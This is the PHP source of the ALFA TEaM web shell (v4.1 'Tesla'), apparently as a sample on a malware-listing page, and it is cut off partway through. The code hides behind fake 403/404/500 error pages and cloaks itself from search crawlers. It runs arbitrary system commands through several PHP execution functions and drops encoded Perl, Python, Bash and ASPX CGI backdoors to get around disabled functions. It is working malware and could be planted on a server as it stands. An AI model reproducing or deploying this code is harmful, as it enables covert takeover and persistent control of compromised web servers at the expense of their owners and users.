Jump to:
Screenshot
Attributes
Emails
<?php
/*
Author: Solevisible/Alfa-Team
Telegram: https://telegram.me/solevisible
YouTube: https://youtube.com/solevisible
Gmail: solevisible@gmail.com
Date: Monday, September 14, 2020
*/
$GLOBALS['oZgNypoPRU'] = array(
'username' => 'alfa',
'password' => 'a6f452ec3293d7fb72c5b677257b20ec',
//md5(ehsan)
'safe_mode' => '0',
'login_page' => '403',
'show_icons' => '1',
'post_encryption' => false,
'cgi_api' => true,
);
$CWppUDJxuf = 'function_exists';
$aztJtafUXm = 'charCodeAt';
$OVpGNqqFZs = 'eval';
$psDEwGhsxg = 'gzinflate';
if (!function_exists('base64_encode')) {
function vcnvSCZgBz($data)
{
if (empty($data)) {
return;
}
$b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
$ac = 0;
$enc = '';
$tmp_arr = array();
if (!$data) {
return $data;
}
do {
$o1 = $aztJtafUXm($data, $i++);
$o2 = $aztJtafUXm($data, $i++);
$o3 = $aztJtafUXm($data, $i++);
$bits = $o1 << 16 | $o2 << 8 | $o3;
$h1 = $bits >> 18 & 0x3f;
$h2 = $bits >> 12 & 0x3f;
$h3 = $bits >> 6 & 0x3f;
$h4 = $bits & 0x3f;
$tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
} while ($i < strlen($data));
$enc = implode($tmp_arr, '');
$r = strlen($data) % 3;
return ($r ? substr($enc, 0, $r - 3) : $enc) . substr('===', $r || 3);
}
function charCodeAt($data, $char)
{
return ord(substr($data, $char, 1));
}
function charAt($data, $char)
{
return substr($data, $char, 1);
}
} else {
function vcnvSCZgBz($s)
{
$b = 'base64_encode';
return base64_encode($s);
}
}
if (!$CWppUDJxuf('base64_decode')) {
function zRtSHsbTzV($input)
{
if (empty($input)) {
return;
}
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
$input = preg_replace("[^A-Za-z0-9\\+\\/\\=]", "", $input);
do {
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = $enc1 << 2 | $enc2 >> 4;
$chr2 = ($enc2 & 15) << 4 | $enc3 >> 2;
$chr3 = ($enc3 & 3) << 6 | $enc4;
$output .= chr((int) $chr1);
if ($enc3 != 64) {
$output .= chr((int) $chr2);
}
if ($enc4 != 64) {
$output .= chr((int) $chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
} while ($i < strlen($input));
return $output;
}
} else {
function zRtSHsbTzV($s)
{
$b = 'base64_decode';
return base64_decode($s);
}
}
function __ZW5jb2Rlcg($s)
{
return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
return zRtSHsbTzV($s);
}
$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];
foreach ($GLOBALS['DB_NAME'] as $key => $value) {
$prefix = substr($key, 0, 2);
if ($prefix == "us") {
$GLOBALS['DB_NAME']["user"] = $value;
$GLOBALS['DB_NAME']["user_rand"] = $key;
} elseif ($prefix == "pa") {
$GLOBALS['DB_NAME']["pass"] = $value;
$GLOBALS['DB_NAME']["pass_rand"] = $key;
} elseif ($prefix == "sa") {
$GLOBALS['DB_NAME']["safemode"] = $value;
$GLOBALS['DB_NAME']["safemode_rand"] = $key;
} elseif ($prefix == "lo") {
$GLOBALS['DB_NAME']["login_page"] = $value;
$GLOBALS['DB_NAME']["login_page_rand"] = $key;
} elseif ($prefix == "sh") {
$GLOBALS['DB_NAME']["show_icons"] = $value;
$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
} elseif ($prefix == "po") {
$GLOBALS['DB_NAME']["post_encryption"] = $value;
$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
} elseif ($prefix == "cg") {
$GLOBALS['DB_NAME']["cgi_api"] = $value;
$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
}
}
unset($GLOBALS['oZgNypoPRU']);
if (!isset($_SERVER["HTTP_HOST"])) {
exit;
}
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "bot", "spider");
if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i", $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
if (!isset($GLOBALS['DB_NAME']['user'])) {
exit('$GLOBALS[\'DB_NAME\'][\'user\']');
}
if (!isset($GLOBALS['DB_NAME']['pass'])) {
exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
}
if (!isset($GLOBALS['DB_NAME']['safemode'])) {
exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
}
if (!isset($GLOBALS['DB_NAME']['login_page'])) {
exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
}
if (!isset($GLOBALS['DB_NAME']['show_icons'])) {
exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
}
if (!isset($GLOBALS['DB_NAME']['post_encryption'])) {
exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
}
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", isset($GLOBALS["DB_NAME"]["post_encryption"]) && $GLOBALS["DB_NAME"]["post_encryption"] == true ? true : false);
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__ ? _AlfaSecretKey() : '');
$GLOBALS['__ALFA_COLOR__'] = array("shell_border" => array("key_color" => "#0E304A", "multi_selector" => array(".header" => "border: 7px solid {color}", "#meunlist" => "border-color: {color}", "#hidden_sh" => "background-color: {color}", ".ajaxarea" => "border: 1px solid {color}", ".foot" => "border-color: {color}")), "header_vars" => "#27979B", "header_values" => "#67ABDF", "header_on" => "#00FF00", "header_off" => "#ff0000", "header_none" => "#00FF00", "home_shell" => "#ff0000", "home_shell:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".home_shell:hover" => "color: {color};")), "back_shell" => "#efbe73", "back_shell:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".back_shell:hover" => "color: {color};")), "header_pwd" => "#00FF00", "header_pwd:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".header_pwd:hover" => "color: {color};")), "header_drive" => "#00FF00", "header_drive:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".header_drive:hover" => "color: {color};")), "header_show_all" => "#00FF00", "disable_functions" => "#ff0000", "footer_text" => "#27979B", "menu_options" => "#27979B", "menu_options:hover" => array("key_color" => "#646464", "multi_selector" => array(".menu_options:hover" => "background-color: {color};font-weight: unset;")), "options_list" => array("key_color" => "#00FF00", "multi_selector" => array(".content_options_holder .header center a" => "color: {color};")), "options_list:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".content_options_holder .header center a:hover" => "color: {color};")), "options_list_header" => array("key_color" => "#59cc33", "multi_selector" => array(".txtfont_header" => "color: {color};")), "options_list_text" => array("key_color" => "#FFFFFF", "multi_selector" => array(".txtfont,.tbltxt" => "color: {color};")), "Alfa+" => array("key_color" => "#06ff0f", "multi_selector" => array(".alfa_plus" => "color: {color};font-weight: unset;")), "hidden_shell_text" => array("key_color" => "#00FF00", "multi_selector" => array("#hidden_sh a" => "color: {color};")), "hidden_shell_version" => "#ff0000", "shell_name" => "#FF0000", "main_row:hover" => array("key_color" => "#646464", "multi_selector" => array(".main tr:hover" => "background-color: {color};")), "main_header" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main th" => "color: {color};")), "main_name" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main .main_name" => "color: {color};font-weight: unset;")), "main_size" => "#67ABDF", "main_modify" => "#67ABDF", "main_owner_group" => "#67ABDF", "main_green_perm" => "#25ff00", "main_red_perm" => "#FF0000", "main_white_perm" => "#FFFFFF", "beetween_perms" => "#FFFFFF", "main_actions" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main .actions" => "color: {color};")), "menu_options:hover" => array("key_color" => "#646464", "multi_selector" => array(".menu_options:hover" => "background-color: {color};font-weight: unset;")), "minimize_editor_background" => array("key_color" => "#0e304a", "multi_selector" => array(".minimized-wrapper" => "background-color: {color};")), "minimize_editor_text" => array("key_color" => "#f5deb3", "multi_selector" => array(".minimized-text" => "color: {color};")), "editor_border" => array("key_color" => "#0e304a", "multi_selector" => array(".editor-explorer,.editor-modal" => "border: 2px solid {color};")), "editor_background" => array("key_color" => "rgba(0, 1, 23, 0.94)", "multi_selector" => array(".editor-explorer,.editor-modal" => "background-color: {color};")), "editor_header_background" => array("key_color" => "rgba(21, 66, 88, 0.93)", "multi_selector" => array(".editor-header" => "background-color: {color};")), "editor_header_text" => array("key_color" => "#00ff7f", "multi_selector" => array(".editor-path" => "color: {color};")), "editor_header_button" => array("key_color" => "#1d5673", "multi_selector" => array(".close-button, .editor-minimize" => "background-color: {color};")), "editor_actions" => array("key_color" => "#FFFFFF", "multi_selector" => array(".editor_actions" => "color: {color};")), "editor_file_info_vars" => array("key_color" => "#FFFFFF", "multi_selector" => array(".editor_file_info_vars" => "color: {color};")), "editor_file_info_values" => array("key_color" => "#67ABDF", "multi_selector" => array(".filestools" => "color: {color};")), "editor_history_header" => array("key_color" => "#14ff07", "multi_selector" => array(".hheader-text,.history-clear" => "color: {color};")), "editor_history_list" => array("key_color" => "#03b3a3", "multi_selector" => array(".editor-file-name" => "color: {color};")), "editor_history_selected_file" => array("key_color" => "rgba(49, 55, 93, 0.77)", "multi_selector" => array(".is_active" => "background-color: {color};")), "editor_history_file:hover" => array("key_color" => "#646464", "multi_selector" => array(".file-holder > .history:hover" => "background-color: {color};")), "input_box_border" => array("key_color" => "#0E304A", "multi_selector" => array("input[type=text],textarea" => "border: 1px solid {color}")), "input_box_text" => array("key_color" => "#999999", "multi_selector" => array("input[type=text],textarea" => "color: {color};")), "input_box:hover" => array("key_color" => "#27979B", "multi_selector" => array("input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "select_box_border" => array("key_color" => "#0E304A", "multi_selector" => array("select" => "border: 1px solid {color}")), "select_box_text" => array("key_color" => "#FFFFEE", "multi_selector" => array("select" => "color: {color};")), "select_box:hover" => array("key_color" => "#27979B", "multi_selector" => array("select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "button_border" => array("key_color" => "#27979B", "multi_selector" => array("input[type=submit],.button,#addup" => "border: 1px solid {color};")), "button:hover" => array("key_color" => "#27979B", "multi_selector" => array("input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};", ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "outputs_text" => array("key_color" => "#67ABDF", "multi_selector" => array(".ml1" => "color: {color};")), "outputs_border" => array("key_color" => "#0E304A", "multi_selector" => array(".ml1" => "border: 1px solid {color};")), "uploader_border" => array("key_color" => "#0E304A", "multi_selector" => array(".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "uploader_background" => array("key_color" => "#0E304A", "multi_selector" => array(".inputfile strong" => "background-color: {color};")), "uploader_text_right" => array("key_color" => "#FFFFFF", "multi_selector" => array(".inputfile strong" => "color: {color};")), "uploader_text_left" => array("key_color" => "#25ff00", "multi_selector" => array(".inputfile span" => "color: {color};")), "uploader:hover" => array("key_color" => "#27979B", "multi_selector" => array(".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "uploader_progress_bar" => array("key_color" => "#00ff00", "multi_selector" => array(".up_bar" => "background-color: {color};")), "mysql_tables" => "#00FF00", "mysql_table_count" => "#67ABDF", "copyright" => "#dfff00", "scrollbar" => array("key_color" => "#1e82b5", "multi_selector" => array("*::-webkit-scrollbar-thumb" => "background-color: {color};")), "scrollbar_background" => array("key_color" => "#000115", "multi_selector" => array("*::-webkit-scrollbar-track" => "background-color: {color};")));
$GLOBALS['__file_path'] = str_replace('\\', '/', trim("/var/www/html/hw0.php.db99755e26408a17cf64460e9b4b83f3.bin"));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'], 'AlfaPass' => $GLOBALS['DB_NAME']['pass'], 'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'], 'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if ($config['AlfaProtectShell']) {
$SERVER_SIG = isset($_SERVER["SERVER_SIGNATURE"]) ? $_SERVER["SERVER_SIGNATURE"] : "";
$Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if ($config['AlfaLoginPage'] == 'gui') {
if (@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])) {
if (@$_POST["usrname"] == $config['AlfaUser'] && @md5($_POST["password"]) == $config['AlfaPass']) {
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: ' . $_SERVER["PHP_SELF"]);
}
echo "\r\n<style>\r\nbody{background: black;}\r\n#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }\r\n#loginbox td { border-radius:5px; font-size:11px; }\r\n</style>\r\n<title>~ ALFA TEaM Shell-v4.1-Tesla ~</title><center>\r\n<center><img style=\"border-radius:100px;\" width=\"500\" height=\"250\" alt=\"alfa team 2012\" draggable=\"false\" src=\"http://solevisible.com/images/alfa-iran.png\" /></center>\r\n<div id=loginbox><p><font face=\"verdana,arial\" size=-1>\r\n<center><table cellpadding='2' cellspacing='0' border='0' id='ap_table'>\r\n<tr><td bgcolor=\"green\"><table cellpadding='0' cellspacing='0' border='0' width='100%'><tr><td bgcolor=\"green\" align=center style=\"padding:2;padding-bottom:4\"><b><font color=\"white\" size=-1 color=\"white\" face=\"verdana,arial\"><b>~ ALFA TEaM Shell-v4.1-Tesla ~</b></font></th></tr>\r\n<tr><td bgcolor=\"black\" style=\"padding:5\">\r\n<form method=\"post\">\r\n<input type=\"hidden\" name=\"action\" value=\"login\">\r\n<input type=\"hidden\" name=\"hide\" value=\"\">\r\n<center><table>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Login:</font></td><td><input type=\"text\" size=\"30\" name=\"usrname\" placeholder=\"username\" onfocus=\"if (this.value == 'username'){this.value = '';}\"></td></tr>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Password:</font></td><td><input type=\"password\" size=\"30\" name=\"password\" placeholder=\"password\" onfocus=\"if (this.value == 'password') this.value = '';\"></td></tr>\r\n<tr><td><font face=\"verdana,arial\" size=-1> </font></td><td><font face=\"verdana,arial\" size=-1><input type=\"submit\" value=\"Login\"></font></td></tr></table>\r\n</div><br /></center>";
exit;
}
} elseif ($config['AlfaLoginPage'] == '500') {
if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
if (@md5($_POST["password"]) == $config['AlfaPass']) {
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: ' . $_SERVER["PHP_SELF"]);
}
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, ' . $_SERVER['SERVER_ADMIN'] . ' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
exit;
}
} elseif ($config['AlfaLoginPage'] == '403') {
if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
if (@md5($_POST["password"]) == $config['AlfaPass']) {
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: ' . $_SERVER["PHP_SELF"]);
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access " . $_SERVER['PHP_SELF'] . " on this server.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
exit;
}
} elseif ($config['AlfaLoginPage'] == '404') {
if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
if (@md5($_POST["password"]) == $config['AlfaPass']) {
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: ' . $_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL " . $_SERVER['PHP_SELF'] . " was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
exit;
}
}
}
function decrypt_post($str)
{
if (__ALFA_POST_ENCRYPTION__) {
$pwd = __ALFA_SECRET_KEY__;
$pwd = __ZW5jb2Rlcg($pwd);
$str = __ZGVjb2Rlcg($str);
$enc_chr = "";
$enc_str = "";
$i = 0;
while ($i < strlen($str)) {
for ($j = 0; $j < strlen($pwd); $j++) {
$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
$enc_str .= $enc_chr;
$i++;
if ($i >= strlen($str)) {
break;
}
}
}
return __ZGVjb2Rlcg($enc_str);
} else {
return __ZGVjb2Rlcg($str);
}
}
function _AlfaSecretKey()
{
$secret = @$_COOKIE["AlfaSecretKey"];
if (!isset($_COOKIE["AlfaSecretKey"])) {
$secret = uniqid(mt_rand(), true);
__alfa_set_cookie("AlfaSecretKey", $secret);
}
return $secret;
}
function alfa_getColor($target)
{
if (isset($GLOBALS["DB_NAME"]["color"][$target]) && $GLOBALS["DB_NAME"]["color"][$target] != "") {
return $GLOBALS["DB_NAME"]["color"][$target];
} else {
$target = $GLOBALS["__ALFA_COLOR__"][$target];
if (is_array($target)) {
return $target["key_color"];
} else {
return $target;
}
}
}
function alfaCssLoadColors()
{
$css = "";
foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
if (!is_array($value)) {
$value = alfa_getColor($key);
$css .= ".{$key}{color: {$value};}";
} else {
if (isset($value["multi_selector"])) {
foreach ($value["multi_selector"] as $k => $v) {
$color = alfa_getColor($key);
$code = str_replace("{color}", $color, $v);
$css .= $k . "{" . $code . "}";
}
}
}
}
return $css;
}
if (isset($_POST['ajax'])) {
function AlfaNum()
{
$args = func_get_args();
$alfax = array();
$find = array();
for ($i = 1; $i <= 10; $i++) {
$alfax[] = $i;
}
foreach ($args as $arg) {
$find[] = $arg;
}
echo "<script>";
foreach ($alfax as $alfa) {
if (in_array($alfa, $find)) {
continue;
}
echo 'alfa' . $alfa . "_=";
}
echo "\"\"</script>";
}
}
function _alfa_cgicmd($cmd, $lang = "perl", $set_cookie = false)
{
if (!$GLOBALS["DB_NAME"]["cgi_api"]) {
return "";
}
if (isset($_COOKIE["alfacgiapi_mode"])) {
return "";
}
$cmd_pure = $cmd;
$is_curl = function_exists('curl_version');
$is_socket = function_exists('fsockopen');
if ($is_curl || $is_socket) {
$recreate = false;
if (isset($_COOKIE["alfacgiapi"])) {
if (!@file_exists("alfacgiapi/" . $_COOKIE["alfacgiapi"] . ".alfa")) {
$recreate = true;
$lang = $_COOKIE["alfacgiapi"];
}
}
if (!isset($_COOKIE["alfacgiapi"]) || $recreate) {
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
if ($lang == "perl") {
$source = $perl;
} elseif ($lang == "py") {
$source = $py;
} else {
$source = $bash;
}
if ($lang == "aspx") {
alfaWriteTocgiapi("aspx.aspx", $aspx);
} else {
alfaWriteTocgiapi($lang . ".alfa", $source);
}
alfacgihtaccess('cgi', "alfacgiapi/");
} else {
$lang = $_COOKIE["alfacgiapi"];
}
$cgi_ext = ".alfa";
if ($lang == "aspx") {
$cgi_ext = ".aspx";
}
$cgi_url = "ALFA_DATA/alfacgiapi/" . $lang . $cgi_ext;
$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=" . __ZW5jb2Rlcg("cd " . $GLOBALS['cwd'] . ";" . $cmd);
if ($is_curl) {
$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://") . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . "/" . $cgi_url;
$post = new AlfaCURL();
$data = $post->Send($address, "post", $cmd);
} elseif ($is_socket) {
$server = $_SERVER["SERVER_NAME"];
$uri = dirname($_SERVER["REQUEST_URI"]) . "/" . $cgi_url;
$data = _alfa_fsockopen($server, $uri, $cmd);
}
$out = "";
if (strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false) {
if ($set_cookie) {
__alfa_set_cookie("alfacgiapi", $lang);
}
if (@preg_match("/<pre>(.*?)<\\/pre>/s", $data, $res)) {
$out = $res[1];
}
} elseif ($lang == "perl") {
return _alfa_cgicmd($cmd_pure, "py", $set_cookie);
} elseif ($lang == "py") {
return _alfa_cgicmd($cmd_pure, "bash", $set_cookie);
} elseif ($lang == "bash" && $GLOBALS['sys'] == "win") {
return _alfa_cgicmd($cmd_pure, "aspx", $set_cookie);
} else {
if ($set_cookie) {
__alfa_set_cookie("alfacgiapi_mode", "off");
}
}
return trim($out);
} else {
return "";
}
}
function alfaGetCwd()
{
if (function_exists("getcwd")) {
return @getcwd();
} else {
return dirname($_SERVER["SCRIPT_FILENAME"]);
}
}
function alfaEx($in, $re = false, $cgi = true, $all = false)
{
$data = _alfa_php_cmd($in, $re);
if (empty($data) && $cgi || $all) {
if ($GLOBALS['sys'] == 'unix') {
if (strlen(_alfa_php_cmd("whoami")) == 0 || $all) {
$cmd = _alfa_cgicmd($in);
if (!empty($cmd)) {
return $cmd;
}
}
}
}
return $data;
}
function _alfa_php_cmd($in, $re = false)
{
$out = '';
try {
if ($re) {
$in .= " 2>&1";
}
if (function_exists('exec')) {
@exec($in, $out);
$out = @join("\n", $out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (function_exists("popen") && function_exists("pclose")) {
if (is_resource($f = @popen($in, "r"))) {
$out = "";
while (!@feof($f)) {
$out .= fread($f, 1024);
}
pclose($f);
}
} elseif (function_exists('proc_open')) {
$pipes = array();
$process = @proc_open($in . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
$out = @stream_get_contents($pipes[1]);
} elseif (class_exists('COM')) {
$alfaWs = new COM('WScript.shell');
$exec = $alfaWs->exec('cmd.exe /c ' . $_POST['alfa1']);
$stdout = $exec->StdOut();
$out = $stdout->ReadAll();
}
} catch (Exception $e) {
}
return $out;
}
function _alfa_fsockopen($server, $uri, $post)
{
$socket = @fsockopen($server, 80, $errno, $errstr, 15);
if ($socket) {
$http = "POST {$uri} HTTP/1.0\r\n";
$http .= "Host: {$server}\r\n";
$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
$http .= "Content-length: " . strlen($post) . "\r\n";
$http .= "Connection: close\r\n\r\n";
$http .= $post . "\r\n\r\n";
fwrite($socket, $http);
$contents = "";
while (!@feof($socket)) {
$contents .= @fgets($socket, 4096);
}
list($header, $body) = explode("\r\n\r\n", $contents, 2);
@fclose($socket);
return $body;
} else {
return "";
}
}
if (isset($_GET["solevisible"])) {
@error_reporting("\x00\x00\x0f\x03\x18");
echo "<html>";
echo "<title>Solevisible Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">' . (function_exists('php_uname') ? php_uname() : '???') . '</font></b></big>';
$safe_mode = @ini_get('safe_mode');
if ($safe_mode) {
$r = "<b style='color: red'>On</b>";
} else {
$r = "<b style='color: green'>Off</b>";
}
echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>PHP_OS</font><br>";
echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "PHP Version: <font color=white>PHP_VERSION</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\\", "/", @alfaGetCwd()) . "/<br />";
echo "<b style='color: #7CFC00'>Safe Mode : {$r}<br>";
echo "<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get('disable_functions');
if (empty($disfun)) {
$disfun = '<font color="green">NONE</font>';
}
echo "<font color=red>";
echo "{$disfun}";
echo "</font><br>";
echo "<b style='color: #7CFC00'>Your Ip Address is : </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
